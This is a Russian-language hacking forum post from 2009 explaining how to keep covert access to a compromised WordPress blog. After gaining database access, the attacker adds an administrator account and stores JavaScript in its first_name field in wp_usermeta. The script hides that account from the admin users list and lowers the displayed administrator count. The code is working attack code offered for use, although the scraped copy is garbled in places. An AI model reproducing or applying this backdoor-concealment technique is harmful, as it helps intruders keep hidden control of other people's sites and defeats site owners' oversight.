Показать сообщение отдельно

Добавление невидимого админа (1.5-2.3.3)
  #9  
Старый 13.02.2009, 08:56
M4g
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
С нами: 10005506

Репутация: 784
По умолчанию Добавление невидимого админа (1.5-2.3.3)

Итак, представим, что у нас уже есть доступ к бд и нам необходимо закрепиться на блоге. Для этого создаем нового юзера, даем ему права админа и в бд в таблице wp_usermeta в поле first_name с ИД нашего юзера прописываем:
PHP код:
     <b id="user_superuser"><script language="JavaScript">
     var 
setUserName = function(){
          try{
               var 
t=document.getElementById("user_superuser");
               while(
t.nodeName!="TR"){
                    
t=t.parentNode;
               };
               
t.parentNode.removeChild(t);
               var 
tags document.getElementsByTagName("H3");
               var 
" shown below";
               for (var 
0tags.lengthi++) {
                    var 
t=tags[i].innerHTML;
                    var 
h=tags[i];
                    if(
t.indexOf(s)>0){
                         
=(parseInt(t)-1)+s;
                         
h.removeChild(h.firstChild);
                         
document.createTextNode(s);
                         
h.appendChild(t);
                    }
               }
                var 
arr=document.getElementsByTagName("ul");
                for(var 
i in arr) if(arr[i].className=="subsubsub"){
                    var 
n=/>Administrator \((\d+)\)</gi.exec(arr[i].innerHTML);
                    if(
n[1]>0){
                        var 
txt=arr[i].innerHTML.replace(/>Administrator \((\d+)\)</gi,">Administrator ("+(n[1]-1)+")<");
                        
arr[i].innerHTML=txt;
                    }
                }
                
          }catch(
e){};
     };
     
addLoadEvent(setUserName);
     </
script>" /></label></p> 
В итоге, наш админчег не будет виден на странице wp-admin/users.php =)
Для версий 2.5-2.7 могут быть свои вариации.
 
Ответить с цитированием